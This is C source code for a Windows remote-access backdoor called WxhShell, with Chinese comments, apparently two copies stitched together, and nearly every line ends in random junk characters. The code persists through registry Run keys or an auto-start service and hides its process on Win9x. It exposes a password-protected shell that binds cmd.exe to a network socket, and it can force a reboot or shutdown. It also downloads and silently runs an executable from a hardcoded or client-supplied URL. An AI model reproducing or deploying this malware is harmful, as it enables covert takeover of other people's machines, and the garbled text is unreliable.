    } 5IMH G%W7  
  // 关机 ZeO>Ag^  
  case 'd': { Dfea<5~^z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `4CRpz  
    if(Boot(SHUTDOWN)) <T wq{kt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s@$AYZm_  
    else { >BX_Bou  
    closesocket(wsh); 1 wG1\9S  
    ExitThread(0); j*5VJ:  
    } e([&Nr8h  
    break; \ *2IU"R  
    } pGIeW}2'9  
  // 获取shell zin ,yJ  
  case 's': { 61'7b`:(hi  
    CmdShell(wsh); ?,j:Y0l.L  
    closesocket(wsh); B:4u 2/!5  
    ExitThread(0); [Z 0 e$  
    break; .\VjS^o&Z&  
  }  51j  
  // 退出 MPt7 /  
  case 'x': { p,Z6/e[SI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bY>Ug{O;  
    CloseIt(wsh); S;])Nt'X'  
    break; !o@-kl  
    } t]x HM  
  // 离开 EVf'1^f  
  case 'q': { ciTQH (G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sqw _c{9  
    closesocket(wsh); lwU&jo*@  
    WSACleanup(); 7,1idY%cy  
    exit(1); JI^w1I, T  
    break; W{0:8_EI  
        } Q-"FmD-Yw  
  } 3 *G=U  
  } B;m18LDu  
a5'QL(IX  
  // 提示信息 #xc[)Y,W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yhIg)/?L  
} v% 1#y5  
  } ^T5c^ M8o  
ym KdRF  
  return; $H#&.IjY  
} h+Dok#g  
cZu:dwE  
// shell模块句柄 3EyN"Lvp{o  
int CmdShell(SOCKET sock) P ,i)A  
{ oVu>jO:.  
STARTUPINFO si; 4=9F1[  
ZeroMemory(&si,sizeof(si)); DbcKKgPn(9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qSQjAo4t@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .JiQq]  
PROCESS_INFORMATION ProcessInfo; {\V)bizY;  
char cmdline[]="cmd"; DirWe  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t3M/ThIE  
  return 0; ,Xn%-OT  
} ESO(~X+  
,y0kzwPR1  
// 自身启动模式 ;#;X@BhS  
int StartFromService(void) gQ?k}D  
{ +o/q@&v;Ax  
typedef struct DGU$3w  
{ '~@WJKk  
  DWORD ExitStatus; 5}m2D='  
  DWORD PebBaseAddress; 8]Pf:_e,+  
  DWORD AffinityMask;  u(BYRB  
  DWORD BasePriority; ~7ArH9k .  
  ULONG UniqueProcessId; xH=&={  
  ULONG InheritedFromUniqueProcessId; _uBf.Qfs  
}   PROCESS_BASIC_INFORMATION; !yxb<  
a%AU9?/q#  
PROCNTQSIP NtQueryInformationProcess; C{c (K!  
:70oO}0m.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u4S3NLG)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dlW w=^  
p?}Rolk7  
  HANDLE             hProcess; %pMW5]H  
  PROCESS_BASIC_INFORMATION pbi; $]Q_x?  
'g^]ZTxb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T|E;U  
  if(NULL == hInst ) return 0; EGs z{c[8@  
}{lOsZA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B8 2A:t)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FSM~Rl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cZwQ{9>  
D^A_0@  
  if (!NtQueryInformationProcess) return 0; ZFRKh:|  
^Dh2_vbI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mb&b=&  
  if(!hProcess) return 0; 89L -k%R  
TWn7&,N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d`:0kOF+  
04( h!@!g:  
  CloseHandle(hProcess); # mzJ^V-  
`Q{kiy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7mu%|!  
if(hProcess==NULL) return 0; {_ #   
74KFsir@  
HMODULE hMod; )X@(>b{  
char procName[255]; |sI^_RdBv  
unsigned long cbNeeded; )N}xKw|  
PKwx)! Rz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Kkd7D_bZ*  
]-R8W/fDn  
  CloseHandle(hProcess); J)R2O4OEd  
LJBoS]~  
if(strstr(procName,"services")) return 1; // 以服务启动 0S' EnmG  
uU<Yf5  
  return 0; // 注册表启动 {!-w|&bF  
} 6 Fm.^9@  
Jus)cO#I  
// 主模块 XL +kEZ|3  
int StartWxhshell(LPSTR lpCmdLine) M5<5 (l  
{ rp _G.C  
  SOCKET wsl; 72PDqK#  
BOOL val=TRUE; SkK=VeD>8  
  int port=0; e\P+R>i0  
  struct sockaddr_in door;  UWu|w  
< *XC`Ii  
  if(wscfg.ws_autoins) Install(); 9J>DLvl;  
+oyc9PoXF  
port=atoi(lpCmdLine); &AoWT:Ea  
TzIgEn~  
if(port<=0) port=wscfg.ws_port; $mpfr#!&3o  
mX<D]Z< k  
  WSADATA data; 'dx4L }d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H\O|Y@uVr  
1XSqgr"3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |C5i3?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !x,3k\M  
  door.sin_family = AF_INET; AKS(WNGEp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -5E<BmM  
  door.sin_port = htons(port); YN\ QwV  
!{SEm"J^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $CXqkK<6  
closesocket(wsl); \f+R!  
return 1; (Q\w4?ci  
} 7}nOF{RH]  
/A_ IS`  
  if(listen(wsl,2) == INVALID_SOCKET) { #M_QSD}&  
closesocket(wsl); <,LeFy\zW  
return 1; 4=1lyw  
} u52@{@Ad  
  Wxhshell(wsl); bjR&bIA:  
  WSACleanup(); ^goS? p/z  
Y}4dW'  
return 0; |R+=Yk&u  
{"@Bf<J#  
} Uz1u6BF  
1Ce:<.99B  
// 以NT服务方式启动 i~\gEMaO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S46[2-v1  
{ z muq4-.  
DWORD   status = 0; hI?<F^b  
  DWORD   specificError = 0xfffffff; {a>)VZw_#  
6_9w1 ,W E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \ 0:ITz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Bw{W-&$o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E6n;_{Se/S  
  serviceStatus.dwWin32ExitCode     = 0; <@Ew-JU  
  serviceStatus.dwServiceSpecificExitCode = 0; ?lbX.+  
  serviceStatus.dwCheckPoint       = 0; xNjA>S\]W5  
  serviceStatus.dwWaitHint       = 0; L*FnFRhU  
d *H-l3N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8o~\L= l  
  if (hServiceStatusHandle==0) return; _msDf2e9  
!4 6 ^}3  
status = GetLastError(); :CH'Bt4<  
  if (status!=NO_ERROR) {Q4=GrS  
{ J,IOp-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^up*KQ3u\  
    serviceStatus.dwCheckPoint       = 0; N["(ZSS   
    serviceStatus.dwWaitHint       = 0; J :,  
    serviceStatus.dwWin32ExitCode     = status; DrW]`%Ql  
    serviceStatus.dwServiceSpecificExitCode = specificError; FxD"z3D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z.{y VQE  
    return; b5yb~;0  
  } );=JoRQ{  
}p&aI?-B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |4dNi1{Zd  
  serviceStatus.dwCheckPoint       = 0; TzPVO>s  
  serviceStatus.dwWaitHint       = 0; N\H(AzMw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K<N0%c~  
} m 81\cg  
% 3FI>\3  
// 处理NT服务事件,比如:启动、停止 !3Pl]S~6!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /wIZ '  
{ sz}Nal$AC  
switch(fdwControl) DNL TJrN  
{ _&yQW&vH#  
case SERVICE_CONTROL_STOP: c-gaK\u}j}  
  serviceStatus.dwWin32ExitCode = 0; ^B5Hjf9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QAX+oy  
  serviceStatus.dwCheckPoint   = 0; 1)k))w9  
  serviceStatus.dwWaitHint     = 0; G|H\(3hHLZ  
  { Y/{Z`}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6#dx%TC  
  } .}j@(D  
  return; \QHM7C T  
case SERVICE_CONTROL_PAUSE: sYXVSNonm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J| 3CG;+  
  break; bEPXNN  
case SERVICE_CONTROL_CONTINUE: s'/ug  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 64zO%F*  
  break; D4`7,JC}<  
case SERVICE_CONTROL_INTERROGATE:  vlE#z  
  break; $|A vT;4  
}; O:D`6U+0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ULsz<Hj  
} *r(iegO$  
$KtMv +m"  
// 标准应用程序主函数 .t\ Yv/|`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) igz&7U8gg  
{ r Cmqq/hZ  
.o fYFK  
// 获取操作系统版本 6`EyzB%.$  
OsIsNt=GetOsVer(); }<S|_F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &4DvZq=  
Hjlx,:'M  
  // 从命令行安装 na%9E8;:&v  
  if(strpbrk(lpCmdLine,"iI")) Install(); pW!]  
x37r{$2  
  // 下载执行文件 '\ 6.GP  
if(wscfg.ws_downexe) { /GCSC8T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Qa"R?dfr  
  WinExec(wscfg.ws_filenam,SW_HIDE); pQW^lqwZ:6  
} hu6)GOZbv  
|[xi"E\  
if(!OsIsNt) { MJ>(HJY6?%  
// 如果时win9x,隐藏进程并且设置为注册表启动 X~W5Z(w(O  
HideProc(); 6I 2`m(5  
StartWxhshell(lpCmdLine); k%uRG_  
} g,x$z~zU{  
else w6Ue5Ix,!  
  if(StartFromService()) g[!sGa &  
  // 以服务方式启动 '?Hy"5gUA  
  StartServiceCtrlDispatcher(DispatchTable); M}us^t*  
else qOkw6jfluh  
  // 普通方式启动 q-p4k`]  
  StartWxhshell(lpCmdLine); >Utn[']~  
im*XS@Uj  
return 0; wwE9|'Ok  
} /&vUi7'  
C$rZn%dp(  
o$2fML  
BXLhi(.s  
=========================================== |nMbf  
j^:\a\-1  
3",6 E(  
ISOPKZ#F  
%K?~$;Z.  
cjH ~H8  
" ijC;"j/(  
OB5{EILej  
#include <stdio.h>  M3u[E  
#include <string.h> 0(0Ep(Vj  
#include <windows.h> bQ_i&t\yzB  
#include <winsock2.h> Fa@#nY|UV3  
#include <winsvc.h> &a1agi7M  
#include <urlmon.h> A@&+!sO  
+Hv%m8'0|  
#pragma comment (lib, "Ws2_32.lib") IzkZ^;(N  
#pragma comment (lib, "urlmon.lib") awMm&8cIM  
LvE|K&R|  
#define MAX_USER   100 // 最大客户端连接数 )]rGGNF*  
#define BUF_SOCK   200 // sock buffer R%}OZJ_  
#define KEY_BUFF   255 // 输入 buffer Jd/ 5Kx  
MI<hShc\  
#define REBOOT     0   // 重启 {hVSVx8ZL  
#define SHUTDOWN   1   // 关机 <9B43  
Vs m06Rj{  
#define DEF_PORT   5000 // 监听端口 bm(0raugs  
^Fy) oWS  
#define REG_LEN     16   // 注册表键长度 Tf*X\{"  
#define SVC_LEN     80   // NT服务名长度 |+ @  
p5>TL!4M  
// 从dll定义API mN*9X[ >x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l{Xsh;%=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c]&(h L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &V iIxJZ1$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V?%>Ex$  
"RZ)pav?  
// wxhshell配置信息 aU5t|S6  
struct WSCFG { #_4L/LV  
  int ws_port;         // 监听端口 `7+?1 z  
  char ws_passstr[REG_LEN]; // 口令 67Ge}6*2pd  
  int ws_autoins;       // 安装标记, 1=yes 0=no hF!yp7l;  
  char ws_regname[REG_LEN]; // 注册表键名 5v!Uec'+  
  char ws_svcname[REG_LEN]; // 服务名 }?8KFe7U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R3%T}^;f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V/J[~mN9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \fh.D/@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]TqcV8Q~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h.=YAcR0D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9sJbz=o]r  
2{#*z%|z  
}; m6aoh^I  
-mcLT@  
// default Wxhshell configuration C[<&% =  
struct WSCFG wscfg={DEF_PORT, :cIE8<\%  
    "xuhuanlingzhe", v" y e\ZG  
    1, tWL9>7]G  
    "Wxhshell", U#@:"v|  
    "Wxhshell", Q y$8!(  
            "WxhShell Service", eBtkTWx5[/  
    "Wrsky Windows CmdShell Service", u[fQvdl  
    "Please Input Your Password: ", Cg8{NNeD  
  1, Oj~k1+*  
  "http://www.wrsky.com/wxhshell.exe", @q[-,EA9  
  "Wxhshell.exe" KiH#*u S  
    }; gO_^{>2  
R0-ARq#0<  
// 消息定义模块 fJC)>doM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Mp"] =  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ypha{d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^J\)cw  
char *msg_ws_ext="\n\rExit."; xLq+n jH E  
char *msg_ws_end="\n\rQuit."; {Yv |C)O  
char *msg_ws_boot="\n\rReboot..."; cidS/OH  
char *msg_ws_poff="\n\rShutdown..."; l&U3jeW-o  
char *msg_ws_down="\n\rSave to "; eHd{'J<  
[uZU p*.V  
char *msg_ws_err="\n\rErr!"; />.&  
char *msg_ws_ok="\n\rOK!"; 7u o4F= %  
mpK|I|-   
char ExeFile[MAX_PATH]; t[)z/[ m  
int nUser = 0; x8tRa0-q  
HANDLE handles[MAX_USER]; )<IbQH|_  
int OsIsNt; =:o)+NE  
uh`~K6&*\w  
SERVICE_STATUS       serviceStatus; S3btx9y{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LP#CA^*S  
8t0i j  
// 函数声明 rS)7D  
int Install(void); w.^k':,"  
int Uninstall(void); z&cfFx#h)  
int DownloadFile(char *sURL, SOCKET wsh); r3p fG  
int Boot(int flag); >Py;6K  
void HideProc(void); I`DdhMi7  
int GetOsVer(void); +- c#UO>  
int Wxhshell(SOCKET wsl); qt/"$6]%  
void TalkWithClient(void *cs); 2zArAch  
int CmdShell(SOCKET sock); o NJ/AT  
int StartFromService(void); {RwwSqJ  
int StartWxhshell(LPSTR lpCmdLine); S#2 'Jw  
B>YrDJUN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VO. Y\8/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ho\K %#u  
e[>(L%QV+  
// 数据结构和表定义 3)__b:7J  
SERVICE_TABLE_ENTRY DispatchTable[] = QBai;p{  
{ .:l78>f  
{wscfg.ws_svcname, NTServiceMain}, .Uha%~%  
{NULL, NULL} aH,0+|  
}; lt5~rH2  
ag[yM  
// 自我安装 khc5h^0  
int Install(void) x\I9J4Q  
{ h, +2Mc<  
  char svExeFile[MAX_PATH]; mY dU`j  
  HKEY key; G4=%<+  
  strcpy(svExeFile,ExeFile); HPtaW:J  
h9g5W'.#  
// 如果是win9x系统,修改注册表设为自启动 7-6_`Q2}Y  
if(!OsIsNt) { E2!;W8M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }^)M)8zS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !\+SE"ml  
  RegCloseKey(key); gHYYxhW$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B6OggJ9Iq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O#cXvv]Z*  
  RegCloseKey(key); tdZ:w  
  return 0; [4PG_k[uTJ  
    } vnXpC!1  
  } XW5r@:e  
} mbJ#-^}V  
else { X B65,l  
PyzW pf  
// 如果是NT以上系统,安装为系统服务 9.SPxd~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); > *vI:MG8  
if (schSCManager!=0) (p^q3\  
{ e,:@c3I  
  SC_HANDLE schService = CreateService {#Mz4s`M  
  ( 5x4(5c5^  
  schSCManager, 8%vk"h:u:  
  wscfg.ws_svcname, JF24~Q4P  
  wscfg.ws_svcdisp, J|,| *t  
  SERVICE_ALL_ACCESS, yBs  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Il*wVNrZI  
  SERVICE_AUTO_START, VGq2ITg9eE  
  SERVICE_ERROR_NORMAL, |CStw"Fog  
  svExeFile, d=H C;T)  
  NULL, i#(T?=VPcy  
  NULL, (fY(-  
  NULL, LT:KZ|U9  
  NULL,   7&l  
  NULL 0Oe@0L%^3"  
  ); Z</$~ T  
  if (schService!=0) ]UFf-  
  { 7NoB   
  CloseServiceHandle(schService); 0dXZd2oK@  
  CloseServiceHandle(schSCManager); xqM R[W\x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'rq [P",  
  strcat(svExeFile,wscfg.ws_svcname); oy/#,R_n%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z4_>6sf{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DFqXZfjm  
  RegCloseKey(key); cp[4$lu  
  return 0; !3?HpR/nV  
    } YuLW]Q?v  
  } Eh8.S)E  
  CloseServiceHandle(schSCManager); j YO #  
} v3.JG]zLpP  
} eUx|_*`  
Y~fds#y0  
return 1; S(9fGh  
} ]e)<CE2   
#}e)*(  
// 自我卸载 ;Fp"]z!Qh+  
int Uninstall(void) '.d el7s  
{ au0)yg*V1  
  HKEY key; >qAQNX  
F9-xp7 T  
if(!OsIsNt) { 8Qek![3^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f>l}y->-Ug  
  RegDeleteValue(key,wscfg.ws_regname); ,58D=EgFy  
  RegCloseKey(key); :);GeZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pPeS4$Y  
  RegDeleteValue(key,wscfg.ws_regname); F4Z+)'oDr,  
  RegCloseKey(key); LUw0MW(Moi  
  return 0; ~{RXc+  
  } [fO \1J  
} >`8i=ZpCOS  
} $6BXoh!  
else { H-^>Co_  
<Cn-MOoM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NfDg=[FN[  
if (schSCManager!=0) U6n%rdXJ=  
{ 9M<qk si  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]NG`MZ  
  if (schService!=0) <E!M<!h  
  { ? vk;b!  
  if(DeleteService(schService)!=0) { 3QU<vdtr  
  CloseServiceHandle(schService); &*[T  
  CloseServiceHandle(schSCManager);  h ej  
  return 0; 1r|'n aiZ  
  } oT%~)g  
  CloseServiceHandle(schService); Pou`PNvH  
  } f{k2sU*uBE  
  CloseServiceHandle(schSCManager); iS=} | 8"  
} 4CfPa6_  
} }(20MW8rMc  
j`='SzVloW  
return 1; WPCaxA+l  
} ~.yt  
4^  $  
// 从指定url下载文件 l;F3kA  
int DownloadFile(char *sURL, SOCKET wsh) >/ W:*^g)  
{ 0rjxWPc  
  HRESULT hr; 7L? ~;;L$  
char seps[]= "/"; {b= ]JPE  
char *token; 2c_#q1/Z/  
char *file; vX/~34o]\  
char myURL[MAX_PATH]; ?psvhB{O  
char myFILE[MAX_PATH]; W32bBzhL  
1[:?oEI  
strcpy(myURL,sURL); I[@}+p0  
  token=strtok(myURL,seps); N[ z7<$$  
  while(token!=NULL) / ~w\Npf0  
  { 5e6]v2 k  
    file=token; IF$f^$  
  token=strtok(NULL,seps); $IUT5Gia`  
  } yzgDdAM  
O-}{%)[ F  
GetCurrentDirectory(MAX_PATH,myFILE); 3-Xum*)Y  
strcat(myFILE, "\\"); bj ZcWYT  
strcat(myFILE, file); i|)<#Ywl  
  send(wsh,myFILE,strlen(myFILE),0); ?b:l.0m  
send(wsh,"...",3,0); egK,e?~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aOA;"jR1  
  if(hr==S_OK) +tES:3Pi  
return 0; =Y?M#3P.I  
else [8(e`6xePb  
return 1; ~4`LOROC  
_<yJQ|[z~i  
} 'k{pWfn=<  
8{(;s$H~  
// 系统电源模块 59F AhEg  
int Boot(int flag) yL7a*C&  
{ 0!eZ&.h?4  
  HANDLE hToken; oV&AJ=|\  
  TOKEN_PRIVILEGES tkp; vp{jh-&  
y4w{8;Mh  
  if(OsIsNt) { t+|c)"\5h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .FtW $Y~y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /RIvUC1  
    tkp.PrivilegeCount = 1; J-au{eP^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #t>w)`bA-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &C`t(e  
if(flag==REBOOT) { AQDT6E:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R%"wf   
  return 0; *"d"  
} y.=ur,Nd  
else { _qR1M):yJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j7?53e  
  return 0; F%UyFUz  
} N~=p+Ow[H  
  } ts<5%{M(  
  else { CC;T[b&  
if(flag==REBOOT) { t5\~Z}G8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j,Eo/f+j5  
  return 0; KnaQhZ  
} /EZF5_`bT  
else { CE=&ZHt9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @{ _[bKg  
  return 0; =6y4*f  
} Fo|6 PoSo  
} %AwR4"M  
a^ hDxeG  
return 1; l{[{pAm  
} w+)MrB-}  
Mj&q"G  
// win9x进程隐藏模块 sOhQu>gN  
void HideProc(void) {dM18;  
{ =;#+8w=^  
2MS1<VKZ@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dO =fbmK  
  if ( hKernel != NULL ) W3Oj6R  
  { 4D=p#KZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vq-Tq>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iG()"^G  
    FreeLibrary(hKernel); xE`uFHuS}  
  } Cbv$O o*  
F)Oe;z6  
return; b+bgGLo  
} ;.>CDt-E]  
a NhI<.v  
// 获取操作系统版本 #usi1UWB#Q  
int GetOsVer(void) A Ch!D>C1  
{ z UN&L7D  
  OSVERSIONINFO winfo; \Ld/'Z;w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K:hZ  
  GetVersionEx(&winfo); b9b384Q1O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q}zAC2@L  
  return 1; E_ #MQ;n  
  else US3rkkgDO  
  return 0; ' P5t tI#|  
} Y%eFXYk.  
\ t4:(Jp 3  
// 客户端句柄模块 Z3X/SQ'0  
int Wxhshell(SOCKET wsl) >1u!(-A  
{ M+4>l\   
  SOCKET wsh; H <7r  
  struct sockaddr_in client; TN!8J=sx.  
  DWORD myID; Awy-kou[C  
/<ODP6Yy;  
  while(nUser<MAX_USER) z !2-U  
{ 2I DN?Mw  
  int nSize=sizeof(client); 1o5n1 A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bWU4lPfP  
  if(wsh==INVALID_SOCKET) return 1;  @Tk5<B3  
6xI9 %YDy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \o}m]v i  
if(handles[nUser]==0) 4L<h% 'Zn  
  closesocket(wsh); 3jH-!M5  
else nM]Sb|1:  
  nUser++; a ;@G  
  } hdW}._  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); phkfPvL{  
"`WcE/(  
  return 0; [H"\<"1o  
} +Wgp~$o4  
Z|l/6L8  
// 关闭 socket qkHdr2  
void CloseIt(SOCKET wsh) i|M^QKvF  
{ KYe@2 6   
closesocket(wsh); G!Gbg3:4e5  
nUser--; m3Ma2jLWC  
ExitThread(0); S: b-+w|*  
} u Uy~$>V  
_4+'@u #  
// 客户端请求句柄 ,e]|[,r#5  
void TalkWithClient(void *cs)  Y7q=]  
{ uB&um*DP  
b# v+_7  
  SOCKET wsh=(SOCKET)cs; Cf&.hod  
  char pwd[SVC_LEN]; T-.Q  
  char cmd[KEY_BUFF]; O:G5n 5J  
char chr[1]; kx3?'=0;5  
int i,j; >v\t> [9t  
<d`ksZ+  
  while (nUser < MAX_USER) { L_ &`  
wgETL|3-  
if(wscfg.ws_passstr) { nogdOGo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CRpMpPi@}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); coG_bX?e  
  //ZeroMemory(pwd,KEY_BUFF); a%FM)/oI|T  
      i=0; 0-VC$)S  
  while(i<SVC_LEN) { DERhmJ;>H  
16pk4f8  
  // 设置超时 )c;zNs  
  fd_set FdRead; P84uEDY  
  struct timeval TimeOut; *{K?JB#W  
  FD_ZERO(&FdRead); A3su!I2S  
  FD_SET(wsh,&FdRead); *PSUB{i(  
  TimeOut.tv_sec=8; ~d.Z. AD  
  TimeOut.tv_usec=0; qL;T^ljP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?q lpi(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q eW{Cl~  
_/\U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cT&!_g#g  
  pwd=chr[0]; :_0"t-  
  if(chr[0]==0xd || chr[0]==0xa) { 'c6t,%  
  pwd=0; f$2DV:wuC  
  break; r9\7I7z  
  } _`Lv@T.  
  i++; *PF}L%K(?  
    } v-utDQT3  
D# Gf.c  
  // 如果是非法用户,关闭 socket iCZuE:I1K,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PKxI09B  
} YU]|N 'mL2  
zxD~W"R:s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~R+,4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dwx^hNh  
!XtZI3Xu  
while(1) { &[Zg;r    
;"R1>tw3)  
  ZeroMemory(cmd,KEY_BUFF); K6BP~@H_D  
}M0GPpv  
      // 自动支持客户端 telnet标准   g]mR;T3  
  j=0; rYn)E=FG/  
  while(j<KEY_BUFF) { 8mh@C6U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .,l4pA9v  
  cmd[j]=chr[0]; J]-z7<j']  
  if(chr[0]==0xa || chr[0]==0xd) { B3';Tcs  
  cmd[j]=0; aS $ J `  
  break; q RbU@o.3  
  } 4DTT/ER'qA  
  j++; C{<dzooz  
    } +9fQ YJBA  
6o cTQ}=  
  // 下载文件 rm5@dM@  
  if(strstr(cmd,"http://")) { ~c\iBk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3!*qB-d  
  if(DownloadFile(cmd,wsh)) L8{4>,  
